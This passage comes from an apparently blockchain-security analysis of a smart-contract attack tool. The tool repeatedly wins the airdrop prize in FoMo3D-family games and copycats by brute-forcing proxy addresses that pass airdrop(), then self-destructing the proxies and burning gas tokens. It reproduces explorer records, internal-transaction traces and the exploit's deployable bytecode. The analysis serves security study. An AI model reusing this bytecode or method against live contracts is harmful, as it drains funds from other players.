The contract call From 0x9a512c4520e0f4acf6511a869ec94587876f2ee5 To 0x42fe2f67a796d283f07c17da19987680d2549102 produced 23 contract Internal Transactions :Type Trace Address      From            To      Value   Gas Limitcall_76 0x42fe2f67a796d283f07c17da19987680d2549102               0x42799d7db24656eb4d2ecc499be141f5374b12bb     0.1 Ether       2,300create_77       0x42fe2f67a796d283f07c17da19987680d2549102                0x42799d7db24656eb4d2ecc499be141f5374b12bb    0 Ether 5,331,990call_77_1      0x42799d7db24656eb4d2ecc499be141f5374b12bb               0xa62142888aba8370742be823c1782d17a0389da1     0.1 Ether       5,237,924call_77_1_3  0xa62142888aba8370742be823c1782d17a0389da1               0xdd4950f977ee28d2c132f1353d1595035db444ee     0.002 Ether     4,852,958call_77_1_3_0       0xdd4950f977ee28d2c132f1353d1595035db444ee               0x4c7b8591c50f4ad308d07d6294f2945e074420f5     0.002 Ether     4,768,100call_77_1_4  0xa62142888aba8370742be823c1782d17a0389da1               0xf9ba0955b0509ac6138908ccc50d5bd296e48d7d     0.001 Ether     4,819,998call_77_2_0  0xa62142888aba8370742be823c1782d17a0389da1               0x42799d7db24656eb4d2ecc499be141f5374b12bb     0.103984477511727147 Ether      2,300suicide_77_3   0x42799d7db24656eb4d2ecc499be141f5374b12bb              0x42fe2f67a796d283f07c17da19987680d2549102      0.103984477511727147 Ether      0suicide_79_0_0       0xc52619b19f807eb313fd7ea39b2e989fc64d5ec6               0x0000000000b3f879cb30fe243b4dfee438691c04     0 Ether 0suicide_79_1_0       0xd2da27d99d7b4c6745b9ba8eb08ac22937c07173               0x0000000000b3f879cb30fe243b4dfee438691c04     0 Ether 0suicide_79_2_0       0xebca20eb4378077116c108a8e01b1e2b43105c4f               0x0000000000b3f879cb30fe243b4dfee438691c04     0 Ether 0suicide_79_3_0       0x304af113651f0b1e7134a4e3d6ade23e7c2bfc01               0x0000000000b3f879cb30fe243b4dfee438691c04     0 Ether 0suicide_79_4_0       0x33905bd63f11ac8dfd343d49de96d6aa3f6306f2               0x0000000000b3f879cb30fe243b4dfee438691c04     0 Ether 0suicide_79_5_0       0x83279b0565f8c8c27dab5c16c4a104370abb1638               0x0000000000b3f879cb30fe243b4dfee438691c04     0 Ether 0suicide_79_6_0       0xedb29a507de51d004da225b7c3c2aee3a45af9b6               0x0000000000b3f879cb30fe243b4dfee438691c04     0 Ether 0suicide_79_7_0       0x418a022f480b65f1ad079f39782348165c45f5fd               0x0000000000b3f879cb30fe243b4dfee438691c04     0 Ether 0suicide_79_8_0       0x7824ec197713cac7077cb0987d63c16c6ab3b38a               0x0000000000b3f879cb30fe243b4dfee438691c04     0 Ether 0suicide_79_9_0       0x6ab486a8c58e2fa33c65939f16b08a30acb1989b               0x0000000000b3f879cb30fe243b4dfee438691c04     0 Ether 0suicide_79_10_0      0xd82f7d7983f575ca689659e724bf1eb022c999d1               0x0000000000b3f879cb30fe243b4dfee438691c04     0 Ether 0suicide_79_11_0      0xddd9732c1418a8ad91cff81bf80fc0bce4630fdc               0x0000000000b3f879cb30fe243b4dfee438691c04     0 Ether 0suicide_79_12_0      0x8881a9ab8125d95f9495b6041c17274beee01ccd               0x0000000000b3f879cb30fe243b4dfee438691c04     0 Ether 0suicide_79_13_0      0x432410122ec18b7c6e9e55e8c7e2e1a2a5baa8a3               0x0000000000b3f879cb30fe243b4dfee438691c04     0 Ether 0suicide_79_14_0      0x1dbac2ce0d5a4e5da45cee384c8cdb9e0eadfdb3               0x0000000000b3f879cb30fe243b4dfee438691c04     0 Ether 0

The first internal transaction is “call_76”, which sends 0.1 Ethers from contract at 0x42fe to contract at 0x4279.

Please note that at this point, the contract 0x4279 has not created yet, so, it does not exist at all. However, the internal transaction is still executed successfully.

Only in internal transaction “create_30” where the contract 0x4279 is created.

The internal transaction “call_77_1” is created when the buyXaddr() in FoMo3DLong game is called.

The internal transaction “call_77_2_0” is generated when withdraw() in FoMo3DLong game is invoked to retrieve the airdrop prize.

It is evident that the airdrop prize is 0.103984477511727147 Ethers. With the invest of 0.1 Ethers for key purchase, the return is 0.103984477511727147 Ethers, so the net gain is 0.003984477511727147 Ethers.

It is worth pointing out that the destruction of smart contract does not consume gas. Instead, the sender of the transaction is reward with refund.

Exploitation in action

As we mention before, the smart contract contract_42fe makes the target to be attacked configurable, thus, the same attack tool can be used to launch attacks against all variants in the FoMo3D game family and its copycats.

Attacking F3Dultra

The attack tool contract_42fe is used to launch attacks on F3Dultra game and one of such attacks is fired in the following transaction.

Transaction Hash: 0x2e61cc5b2e89ea442d8eb57830943612780fa3396abefbc0dda9c92425aabeca
Status: Success
Block: 7352414 1548417 Block Confirmations
Timestamp: 242 days 1 hr ago (Mar-12-2019 05:24:44 AM +UTC)
From: 0x84ecb387395a1be65e133c75ff9e5fcc6f756db3
To: Contract 0x42fe2f67a796d283f07c17da19987680d2549102
TRANSFER 0.1 Ether From 0x42fe2f67a796d283f07c17da19987680d2549102 To 0x5e9e57d5bc6200533ff5c24db81157ec73eb7601
TRANSFER 0.1 Ether From 0x5e9e57d5bc6200533ff5c24db81157ec73eb7601 To 0x0b5da756938e334c97ce20715e32a4a8fea12ba9
TRANSFER 0.003 Ether From 0x0b5da756938e334c97ce20715e32a4a8fea12ba9 To 0xc3ddc98bf7a3f726f59b88e1d917f816570e354e
TRANSFER 0.133318452328573138 Ether From 0x0b5da756938e334c97ce20715e32a4a8fea12ba9 To 0x5e9e57d5bc6200533ff5c24db81157ec73eb7601
SELF DESTRUCT Contract 0x5e9e57d5bc6200533ff5c24db81157ec73eb7601
SELF DESTRUCT Contract 0x3fb9df7a4e0df322b860334ceb1109656a71e95c
SELF DESTRUCT Contract 0xcf4b05dd870af9eb8e78cdd6fc2bb8c3b22d7e49
SELF DESTRUCT Contract 0xda658b51e88e37f2040e4f8db06599c30f1e3f1b
SELF DESTRUCT Contract 0x2d3daf54cdf41ff96f9c0eaedce7e97aaeaf2f47
SELF DESTRUCT Contract 0x843503c981f8b848ba35c59dcdb2db75d15bbfa5
SELF DESTRUCT Contract 0x998c7b719097dd8b20725c11bbab47b2569a8bda
SELF DESTRUCT Contract 0x35804df933d73f4d89c56d0f359bfdd3c164d04d
SELF DESTRUCT Contract 0xd64ba4539218e8346dc60508f8bc367c8a0c2dc1
SELF DESTRUCT Contract 0xb6349586e3e9e84b2928e7ea4894023341607f03
SELF DESTRUCT Contract 0x9c0b463bb7a237cfbb97e3b4c2006720878f1452
SELF DESTRUCT Contract 0xf1be98dae97346729d4c495954c6f3fbb2f01b6c
SELF DESTRUCT Contract 0xb4702bcc0d9ec2432b10485c004875a398496308
SELF DESTRUCT Contract 0xf51650d9f69f1b41f3b540817bffb05673fba7d8
SELF DESTRUCT Contract 0xe51262260722212b2d61e4ddad957188ad730abc
SELF DESTRUCT Contract 0x7a884a63f570071dea5bf1da345131bc5dd31053
SELF DESTRUCT Contract 0xaa03b99fa0960003fc2e0486066d58bc70b383df
SELF DESTRUCT Contract 0xddb4127d49f3055e36f76a5305240903958cfb3b
SELF DESTRUCT Contract 0xc80a0fc04df76a902cb33d8d474729f6eba6dbd4
SELF DESTRUCT Contract 0x0ec3627266a6002df237d9fb93ca80b456a1e249
SELF DESTRUCT Contract 0xba55223b76e8e66040e8f26375c7ae6588c5bcea
Value: 0 Ether ($0.00)
Transaction Fee: 0.0012334359388 Ether ($0.23)
Gas Limit: 6,000,000
Gas Used by Transaction: 612,887 (10.21%)
Gas Price: 0.000000002012501389 Ether (2.012501389 Gwei)
Nonce Position 3209 23
Input Data: 0x7e079ace0000000000000000000000000b5da756938e334c97ce20715e32a4a8fea12ba90000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000023760806040526040516080806101b78339810180604052608081101561002357600080fd5b50805160208083015160408085015160609095015181517f3b5d7e9700000000000000000000000000000000000000000000000000000000815291519495929492939092869285926001600160a01b03841692633b5d7e979260048082019392918290030181600087803b15801561009a57600080fd5b505af11580156100ae573d6000803e3d6000fd5b505050506040513d60208110156100c457600080fd5b505115156001141561015757604080517f98a0871d0000000000000000000000000000000000000000000000000000000081526001600160a01b038781166004830152602482018690529151918416916398a0871d91303191604480830192600092919082900301818588803b15801561013d57600080fd5b505af1158015610151573d6000803e3d6000fd5b50505050505b816001600160a01b0316633ccfd60b6040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561019257600080fd5b505af11580156101a6573d6000803e3d6000fd5b50505050836001600160a01b0316fffe0000000000000000000000000b5da756938e334c97ce20715e32a4a8fea12ba900000000000000000000000084ecb387395a1be65e133c75ff9e5fcc6f756db300000000000000000000000042fe2f67a796d283f07c17da19987680d25491020000000000000000000000000000000000000000000000000000000000000001000000000000000000

The launcher is 0x84ec, which is the creator of the contract_42fe. This attack invoked function with selector 0x7e079ace. The target to be attacked is 0x0b5d, which is the F3Dultra game.

The binary code for launching the attack is similar to the one shown above except that the inputs to the constructor of the contract are different.

The airdrop prize won by this attack is 0.133318452328573138 Ethers. The cost of key purchase is 0.1 Ethers. Thus, the net gain is 0.033318452328573138 Ethers.

It can also be notices that 20 gas tokens are released (i.e., destroyed) and the final transaction fee is 0.0012334359388 Ethers. Compared to the cost of the attack, the return is extremely good.

Attacking F3DPlus

The same smart contract contract_42fe is also used to launch attacks against the F3DPlus game. Here is one of such attacks.

Transaction Hash: 0x7f4ccfeab439e027709319b312a4c175688992f9869e96bbd3df3b0cdd4b6683
Status: Success
Block: 7352425 1548410 Block Confirmations
Timestamp: 242 days 1 hr ago (Mar-12-2019 05:26:41 AM +UTC)
From: 0x84ecb387395a1be65e133c75ff9e5fcc6f756db3
To: Contract 0x42fe2f67a796d283f07c17da19987680d2549102
TRANSFER 0.1 Ether From 0x42fe2f67a796d283f07c17da19987680d2549102 To 0x9bcdbb6e7cce834a0ba7f0c0a65a4355dbfc4ea8
TRANSFER 0.1 Ether From 0x9bcdbb6e7cce834a0ba7f0c0a65a4355dbfc4ea8 To 0x0f90ef4e2526e3d1791862574f9fb26a0f39ec86
TRANSFER 0.003 Ether From 0x0f90ef4e2526e3d1791862574f9fb26a0f39ec86 To 0x3f912bc4a711512614e90c826f74bf5f8b4f85aa
TRANSFER 0.130349155911192178 Ether From 0x0f90ef4e2526e3d1791862574f9fb26a0f39ec86 To 0x9bcdbb6e7cce834a0ba7f0c0a65a4355dbfc4ea8
SELF DESTRUCT Contract 0x9bcdbb6e7cce834a0ba7f0c0a65a4355dbfc4ea8
SELF DESTRUCT Contract 0x4c3c5607e1221a3084234c7b4eb5780b78e1b488
SELF DESTRUCT Contract 0xa79c740682b7ca210f5eb351285b3cb602a989a3
SELF DESTRUCT Contract 0x043580871a6956d3161731b924ab4a469f30c6ef
SELF DESTRUCT Contract 0x8c5d2a71f6eb2350caee4e54b00b4636af589e25
SELF DESTRUCT Contract 0xcb423c285aa43c64e0399dc7b009e98ef6fc0bcc
SELF DESTRUCT Contract 0xb532b356698ac3988ebe303a92c58c9f951a5bdc
SELF DESTRUCT Contract 0x1bc849a7845cd9a05bfbbff356c3ae0bd52e77a4
SELF DESTRUCT Contract 0x6e552fc91a2642c5c59442073f7cef2fc499ee6b
SELF DESTRUCT Contract 0x20b1ae9c547e3e6bcb79a9718a982d990b347463
SELF DESTRUCT Contract 0xacafdf012cae0f5bcd5b854f91cbcfb79beb8631
SELF DESTRUCT Contract 0xa0617ea617607cd847b3f1ba3c2fe7283bbcc6fa
SELF DESTRUCT Contract 0x8ad57f5faefbae67d3c693b50f4f407c9734139a
SELF DESTRUCT Contract 0x5d412a535a15e6e57eb31807f442d06a495d7a8b
SELF DESTRUCT Contract 0x9f39f2d1d00b446b81751c445c2c1d0e23ec468a
SELF DESTRUCT Contract 0x778dd705a23d4ab3f99efbf9c88a00e029781599
SELF DESTRUCT Contract 0xde226b43cf758340811ea8bbbeaab697b511879c
SELF DESTRUCT Contract 0x15bb00ee4ca08f56b565202fe4fd06706160cffa
SELF DESTRUCT Contract 0xea515d2dc5ef127c1e44cde627e004f9fd16d75e
SELF DESTRUCT Contract 0xd2ea1f1f1cf2a4c222348d649c5aaa37aa4484f7
SELF DESTRUCT Contract 0xa0d6230743cc230b3fcf4d6595e7e1e7118780de
Value: 0 Ether ($0.00)
Transaction Fee: 0.00135962051159 Ether ($0.25)
Gas Limit: 6,000,000
Gas Used by Transaction: 672,082 (11.2%)
Gas Price: 0.000000002022997955 Ether (2.022997955 Gwei)
Nonce Position 3210 40
Input Data: 0x7e079ace0000000000000000000000000f90ef4e2526e3d1791862574f9fb26a0f39ec860000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000023760806040526040516080806101b78339810180604052608081101561002357600080fd5b50805160208083015160408085015160609095015181517f3b5d7e9700000000000000000000000000000000000000000000000000000000815291519495929492939092869285926001600160a01b03841692633b5d7e979260048082019392918290030181600087803b15801561009a57600080fd5b505af11580156100ae573d6000803e3d6000fd5b505050506040513d60208110156100c457600080fd5b505115156001141561015757604080517f98a0871d0000000000000000000000000000000000000000000000000000000081526001600160a01b038781166004830152602482018690529151918416916398a0871d91303191604480830192600092919082900301818588803b15801561013d57600080fd5b505af1158015610151573d6000803e3d6000fd5b50505050505b816001600160a01b0316633ccfd60b6040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561019257600080fd5b505af11580156101a6573d6000803e3d6000fd5b50505050836001600160a01b0316fffe0000000000000000000000000f90ef4e2526e3d1791862574f9fb26a0f39ec8600000000000000000000000084ecb387395a1be65e133c75ff9e5fcc6f756db300000000000000000000000042fe2f67a796d283f07c17da19987680d25491020000000000000000000000000000000000000000000000000000000000000001000000000000000000

This transaction is also initiated by 0x84ec, the creator of the smart contract. All the settings are similar to those for the attack on F3Dultra. Thus, this transaction consumes gas that is similar to the previous attack. That is, the gas used by the transaction is 672,082 units. Both transactions release 20 gas tokens.

The airdrop award won by this transaction is 0.130349155911192178 Ethers.

Attacking FoMo3D

The attack tool contract_42fe can also steal money from the FoMo3D game. Here is an example.

Transaction Hash: 0x653d3e8d807fce7a11cb5b4b7b3dfca4818f8d902c3d30174c235dcc7ed3d00e
Status: Success
Block: 7352499 1593867 Block Confirmations
Timestamp: 249 days 14 hrs ago (Mar-12-2019 05:41:25 AM +UTC)
From: 0x84ecb387395a1be65e133c75ff9e5fcc6f756db3
To: Contract 0x42fe2f67a796d283f07c17da19987680d2549102
TRANSFER 0.1 Ether From 0x42fe2f67a796d283f07c17da19987680d2549102 To 0x20b59f1e51a1fd3fb79025fd4edf68b409648a3c
TRANSFER 0.1 Ether From 0x20b59f1e51a1fd3fb79025fd4edf68b409648a3c To 0x5cd17346bc2b8b3b04251dfea7763dbc70cceaf7
TRANSFER 0.004 Ether From 0x5cd17346bc2b8b3b04251dfea7763dbc70cceaf7 To 0xc91ca445acdae9eebaf003a64088ca29a694c3ae
TRANSFER 0.124828835525804903 Ether From 0x5cd17346bc2b8b3b04251dfea7763dbc70cceaf7 To 0x20b59f1e51a1fd3fb79025fd4edf68b409648a3c
SELF DESTRUCT Contract 0x20b59f1e51a1fd3fb79025fd4edf68b409648a3cValue: 0 Ether ($0.00)
Transaction Fee: 0.00129957825625 Ether ($0.24)
Gas Limit: 6,000,000
Gas Used by Transaction: 653,327 (10.89%)
Gas Price: 0.000000001989169675 Ether (1.989169675 Gwei)
Nonce Position 3222 6
Input Data: 0x7e079ace0000000000000000000000005cd17346bc2b8b3b04251dfea7763dbc70cceaf70000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000023760806040526040516080806101b78339810180604052608081101561002357600080fd5b50805160208083015160408085015160609095015181517f3b5d7e9700000000000000000000000000000000000000000000000000000000815291519495929492939092869285926001600160a01b03841692633b5d7e979260048082019392918290030181600087803b15801561009a57600080fd5b505af11580156100ae573d6000803e3d6000fd5b505050506040513d60208110156100c457600080fd5b505115156001141561015757604080517f98a0871d0000000000000000000000000000000000000000000000000000000081526001600160a01b038781166004830152602482018690529151918416916398a0871d91303191604480830192600092919082900301818588803b15801561013d57600080fd5b505af1158015610151573d6000803e3d6000fd5b50505050505b816001600160a01b0316633ccfd60b6040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561019257600080fd5b505af11580156101a6573d6000803e3d6000fd5b50505050836001600160a01b0316fffe0000000000000000000000005cd17346bc2b8b3b04251dfea7763dbc70cceaf700000000000000000000000084ecb387395a1be65e133c75ff9e5fcc6f756db300000000000000000000000042fe2f67a796d283f07c17da19987680d25491020000000000000000000000000000000000000000000000000000000000000001000000000000000000

An interesting observation in this transaction is that there is no gas token to be released as only one smart contract is self destructed, which is the proxy contract used to launch the attack. The reason could be that there is not enough gas tokens. When function freeGasTokens() is invoked by the exploit(), the function first checks the balance of gas tokens and if the balance is not big enough to satisfy the requirements, then the function simply returns without any further action to release gas token.

This attack won the airdrop prize of 0.124828835525804903 Ethers.

Attacking FoMo3DLong

The FoMo3DLong game is deployed on multiple addresses and one of them is 0x 51a5. Here we use the game at 0x51a5 as an example to demonstrate the attacks by the contract_42fe.

Transaction Hash: 0x5fdef1bb75f5282b83bc070751543634249b2aa4176f5d25ccb303766db63e66
Status: Success
Block: 7352452 1593877 Block Confirmations
Timestamp: 249 days 14 hrs ago (Mar-12-2019 05:31:12 AM +UTC)
From: 0x84ecb387395a1be65e133c75ff9e5fcc6f756db3
To: Contract 0x42fe2f67a796d283f07c17da19987680d2549102
TRANSFER 0.1 Ether From 0x42fe2f67a796d283f07c17da19987680d2549102 To 0x0f2192c7c751019c274dfbb30f8f6dddf3eebfab
TRANSFER 0.1 Ether From 0x0f2192c7c751019c274dfbb30f8f6dddf3eebfab To 0x51a5271ec514c3065d9de2d8e95051989f7d53ab
TRANSFER 0.001 Ether From 0x51a5271ec514c3065d9de2d8e95051989f7d53ab To 0x30d4d6079829082e5a4bcaabf6887362527b8838
TRANSFER 0.002 Ether From 0x51a5271ec514c3065d9de2d8e95051989f7d53ab To 0x6b9e7c45622832a12f728ca87e23fa3a6b512fe2
TRANSFER 0.128653773609903444 Ether From 0x51a5271ec514c3065d9de2d8e95051989f7d53ab To 0x0f2192c7c751019c274dfbb30f8f6dddf3eebfab
SELF DESTRUCT Contract 0x0f2192c7c751019c274dfbb30f8f6dddf3eebfab
SELF DESTRUCT Contract 0xb2876019de81ab634bf8a6d408e2f4800e00b382
SELF DESTRUCT Contract 0x76703ccb1d730d768eeb447fe377a0f35432ea2a
SELF DESTRUCT Contract 0xd5407252c4a0976b95f18d23f0b59dc2b6e36df3
SELF DESTRUCT Contract 0x745abdded1b4dc362cb81d570a4d44683412a3df
SELF DESTRUCT Contract 0xd2f7e0d5ecb894ecbb4ce9d1f1e345e4d10f111d
SELF DESTRUCT Contract 0x238005e9c3cbf7a205a25278db3207bf35809444
SELF DESTRUCT Contract 0x97a67d682b2d4b8f45126400585107a9c6b628eb
SELF DESTRUCT Contract 0xa7d2c53b54724f55344e1b1033e8c0d950527e8f
SELF DESTRUCT Contract 0x0a9f7b5f14972571ff3a65b78cd942575f2082ba
SELF DESTRUCT Contract 0xe3694fbdc15c58774ae96928ac37a681fd85b8bb
SELF DESTRUCT Contract 0x970d3af23bcdd5606d28641c6fb02136789e4196
SELF DESTRUCT Contract 0x9b06958bfb83346903359d74bb7e40c531479049
SELF DESTRUCT Contract 0xe34f3c8904dbef97e6d59612448095979e5fe431
SELF DESTRUCT Contract 0x4bf99db680c9beeae163c91fa9706b1b26bdefa7
SELF DESTRUCT Contract 0xc33f7f7c1439c7d75ba35f51dc5c5d367dc930b5
Value: 0 Ether ($0.00)
Transaction Fee: 0.00085906839901 Ether ($0.16)
Gas Limit: 6,000,000
Gas Used by Transaction: 422,823 (7.05%)
Gas Price: 0.000000002031744723 Ether (2.031744723 Gwei)
Nonce Position 3214 17
Input Data: 0x7e079ace00000000000000000000000051a5271ec514c3065d9de2d8e95051989f7d53ab0000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000023760806040526040516080806101b78339810180604052608081101561002357600080fd5b50805160208083015160408085015160609095015181517f3b5d7e9700000000000000000000000000000000000000000000000000000000815291519495929492939092869285926001600160a01b03841692633b5d7e979260048082019392918290030181600087803b15801561009a57600080fd5b505af11580156100ae573d6000803e3d6000fd5b505050506040513d60208110156100c457600080fd5b505115156001141561015757604080517f98a0871d0000000000000000000000000000000000000000000000000000000081526001600160a01b038781166004830152602482018690529151918416916398a0871d91303191604480830192600092919082900301818588803b15801561013d57600080fd5b505af1158015610151573d6000803e3d6000fd5b50505050505b816001600160a01b0316633ccfd60b6040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561019257600080fd5b505af11580156101a6573d6000803e3d6000fd5b50505050836001600160a01b0316fffe00000000000000000000000051a5271ec514c3065d9de2d8e95051989f7d53ab00000000000000000000000084ecb387395a1be65e133c75ff9e5fcc6f756db300000000000000000000000042fe2f67a796d283f07c17da19987680d25491020000000000000000000000000000000000000000000000000000000000000001000000000000000000

It is noticed that the gas used by this transaction is 422,823 units, which is much lower than that used by the attacks shown previously. To find out the reason, let us look at the internal transactions of this transaction.

The contract call From 0x84ecb387395a1be65e133c75ff9e5fcc6f756db3 To 0x42fe2f67a796d283f07c17da19987680d2549102 produced 22 contract Internal Transactions :Type Trace Address      From            To      Value   Gas Limitcall_3  0x42fe2f67a796d283f07c17da19987680d2549102               0x0f2192c7c751019c274dfbb30f8f6dddf3eebfab     0.1 Ether       2,300create_4        0x42fe2f67a796d283f07c17da19987680d2549102                0x0f2192c7c751019c274dfbb30f8f6dddf3eebfab    0 Ether 5,771,957call_4_1       0x0f2192c7c751019c274dfbb30f8f6dddf3eebfab               0x51a5271ec514c3065d9de2d8e95051989f7d53ab     0.1 Ether       5,671,017call_4_1_3   0x51a5271ec514c3065d9de2d8e95051989f7d53ab               0x30d4d6079829082e5a4bcaabf6887362527b8838     0.001 Ether     2,300call_4_1_4   0x51a5271ec514c3065d9de2d8e95051989f7d53ab               0x6b9e7c45622832a12f728ca87e23fa3a6b512fe2     0.002 Ether     2,300call_4_2_0   0x51a5271ec514c3065d9de2d8e95051989f7d53ab               0x0f2192c7c751019c274dfbb30f8f6dddf3eebfab     0.128653773609903444 Ether      2,300suicide_4_3    0x0f2192c7c751019c274dfbb30f8f6dddf3eebfab              0x42fe2f67a796d283f07c17da19987680d2549102      0.128653773609903444 Ether      0suicide_6_0_0        0xb2876019de81ab634bf8a6d408e2f4800e00b382               0x0000000000b3f879cb30fe243b4dfee438691c04     0 Ether 0suicide_6_1_0        0x76703ccb1d730d768eeb447fe377a0f35432ea2a               0x0000000000b3f879cb30fe243b4dfee438691c04     0 Ether 0suicide_6_2_0        0xd5407252c4a0976b95f18d23f0b59dc2b6e36df3               0x0000000000b3f879cb30fe243b4dfee438691c04     0 Ether 0suicide_6_3_0        0x745abdded1b4dc362cb81d570a4d44683412a3df               0x0000000000b3f879cb30fe243b4dfee438691c04     0 Ether 0suicide_6_4_0        0xd2f7e0d5ecb894ecbb4ce9d1f1e345e4d10f111d               0x0000000000b3f879cb30fe243b4dfee438691c04     0 Ether 0suicide_6_5_0        0x238005e9c3cbf7a205a25278db3207bf35809444               0x0000000000b3f879cb30fe243b4dfee438691c04     0 Ether 0suicide_6_6_0        0x97a67d682b2d4b8f45126400585107a9c6b628eb               0x0000000000b3f879cb30fe243b4dfee438691c04     0 Ether 0suicide_6_7_0        0xa7d2c53b54724f55344e1b1033e8c0d950527e8f               0x0000000000b3f879cb30fe243b4dfee438691c04     0 Ether 0suicide_6_8_0        0x0a9f7b5f14972571ff3a65b78cd942575f2082ba               0x0000000000b3f879cb30fe243b4dfee438691c04     0 Ether 0suicide_6_9_0        0xe3694fbdc15c58774ae96928ac37a681fd85b8bb               0x0000000000b3f879cb30fe243b4dfee438691c04     0 Ether 0suicide_6_10_0       0x970d3af23bcdd5606d28641c6fb02136789e4196               0x0000000000b3f879cb30fe243b4dfee438691c04     0 Ether 0suicide_6_11_0       0x9b06958bfb83346903359d74bb7e40c531479049               0x0000000000b3f879cb30fe243b4dfee438691c04     0 Ether 0suicide_6_12_0       0xe34f3c8904dbef97e6d59612448095979e5fe431               0x0000000000b3f879cb30fe243b4dfee438691c04     0 Ether 0suicide_6_13_0       0x4bf99db680c9beeae163c91fa9706b1b26bdefa7               0x0000000000b3f879cb30fe243b4dfee438691c04     0 Ether 0suicide_6_14_0       0xc33f7f7c1439c7d75ba35f51dc5c5d367dc930b5               0x0000000000b3f879cb30fe243b4dfee438691c04     0 Ether 0

If we compare these internal transactions with those for transaction 0xeba3 shown previously, we can know that the main difference is the gas consumed by searching for the valid proxy address, which could win the airdrop prize.

From the source code for the function exploit(), we know that the following steps are performed in order.

  1. enumerating all possible salts to compute proxy addresses until a proxy address can be found which can make function airdrop() return “true”.
  2. send 0.1 ethers to the found proxy address.
  3. create the smart contract represented by the found proxy address.

These steps are executed in sequence and the next step is run only the previous step has finished.

In transaction 0xeba3, the gas limit for step 2 is 2300 units. When step 3 is executed, the gas limit becomes 5,331,990 units. That implies the gas consumption by step 1 is about (6000000–2300–5331990) = 665710 units.

In transaction 0x5fde, the gas limit for step 2 is 2300 units. When step 3 is run, the gas limit reduces to 5,771,957 units. Thus, the gas consumption by step 1 can be computed as (6000000–2300–5771957) = 225743 units.

The above computation indicates that in transaction 0x5fde, the function exploit() is faster in finding a proxy address that can lead to an airdrop win.

This attack won the airdrop prize of 0.128653773609903444 Ethers.

Attacking other copycats

There are many copycats of the FoMo3D game family and some of them are Suoha, RatScam, and SnowStorm.

The contract_42fe can also be used to launch attacks against these copycats. We use only Suoha as an example.

Here is an attack on Suoha by contract_42fe.

Transaction Hash: 0x21f0f3c330ff54ab67097f88159011ec21c45754b737d58b12d3ed784a032616
Status: Success
Block: 7352463 1665845 Block Confirmations
Timestamp: 261 days 18 hrs ago (Mar-12-2019 05:35:06 AM +UTC)
From: 0x84ecb387395a1be65e133c75ff9e5fcc6f756db3
To: Contract 0x42fe2f67a796d283f07c17da19987680d2549102
TRANSFER 0.1 Ether From 0x42fe2f67a796d283f07c17da19987680d2549102 To 0x6b7fb5774a07e3528131dbbb72db2d97609f171b
TRANSFER 0.1 Ether From 0x6b7fb5774a07e3528131dbbb72db2d97609f171b To 0x460a5098248f4aa1a46eec6aac78b7819ea01c42
TRANSFER 0.002 Ether From 0x460a5098248f4aa1a46eec6aac78b7819ea01c42 To 0x5707d1322237300fc0a0be9b3159b0ba41eefeef
TRANSFER 0.134371474270336132 Ether From 0x460a5098248f4aa1a46eec6aac78b7819ea01c42 To 0x6b7fb5774a07e3528131dbbb72db2d97609f171b
SELF DESTRUCT Contract 0x6b7fb5774a07e3528131dbbb72db2d97609f171b
SELF DESTRUCT Contract 0x545787ce84a867c2a44a1cadb7330d546f9cc5ca
SELF DESTRUCT Contract 0xca42733afa5f3b1b1f6243ac04a6f434dd826f98
SELF DESTRUCT Contract 0xaa02619701046699ae2dbf8e7f78bac3cf4c6154
SELF DESTRUCT Contract 0x4be86d83fceec2daa98b4d4c7967306eaf71c4d0
SELF DESTRUCT Contract 0xbfbfee26b00b510c9b3d604e7afa62b600578333
SELF DESTRUCT Contract 0x9c392ce88a95930cd8660d4807a19f5abdbe8ba0
SELF DESTRUCT Contract 0xa2d24a03909368b331e3a635500fda3735898265
SELF DESTRUCT Contract 0xa6ce90dea2920dd562657b62af036baa3d7d985f
SELF DESTRUCT Contract 0xaa6eed0abd27a621e1cc36173aab65f4e5727eb1
SELF DESTRUCT Contract 0xd6e8d91d7990ee18fcaa76ab96a47c37e0ab307d
SELF DESTRUCT Contract 0x850269f012276367c04cba2907dbb1c2cc53a6b5
SELF DESTRUCT Contract 0xad256c0a9f30a97464523b0e0e1ed7e8a05633e6
SELF DESTRUCT Contract 0xaf3066f65721901499f3535b414867c6a691650b
SELF DESTRUCT Contract 0x633071f76ae420fd4be4c6ba801b5aacd6d62af2
SELF DESTRUCT Contract 0xac5556ff2c2b93f08a0680a21b4e8904732cec6e
Value: 0 Ether ($0.00)
Transaction Fee: 0.00103610083989 Ether ($0.16)
Gas Limit: 6,000,000
Gas Used by Transaction: 514,118 (8.57%)
Gas Price: 0.000000002015297733 Ether (2.015297733 Gwei)
Nonce Position 3216 28
Input Data: 0x7e079ace000000000000000000000000460a5098248f4aa1a46eec6aac78b7819ea01c420000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000023760806040526040516080806101b78339810180604052608081101561002357600080fd5b50805160208083015160408085015160609095015181517f3b5d7e9700000000000000000000000000000000000000000000000000000000815291519495929492939092869285926001600160a01b03841692633b5d7e979260048082019392918290030181600087803b15801561009a57600080fd5b505af11580156100ae573d6000803e3d6000fd5b505050506040513d60208110156100c457600080fd5b505115156001141561015757604080517f98a0871d0000000000000000000000000000000000000000000000000000000081526001600160a01b038781166004830152602482018690529151918416916398a0871d91303191604480830192600092919082900301818588803b15801561013d57600080fd5b505af1158015610151573d6000803e3d6000fd5b50505050505b816001600160a01b0316633ccfd60b6040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561019257600080fd5b505af11580156101a6573d6000803e3d6000fd5b50505050836001600160a01b0316fffe000000000000000000000000460a5098248f4aa1a46eec6aac78b7819ea01c4200000000000000000000000084ecb387395a1be65e133c75ff9e5fcc6f756db300000000000000000000000042fe2f67a796d283f07c17da19987680d25491020000000000000000000000000000000000000000000000000000000000000001000000000000000000

It can be seen that the contract_42fe is effective on attacking the copycats of the FoMo3D game family.

After this attack, the airdrop prize won by the attacker is 0.134371474270336132 Ethers.

It can be observed that the number of gas tokens released by this transaction is 15, not 20 as did by the transactions shown previously.

The reason is that contract_42fe provides a function to change the number of gas token released by each attack. The function is setNumOfGasTokens(). The input to the function is the intended number of gas tokens to be released by future attacks.

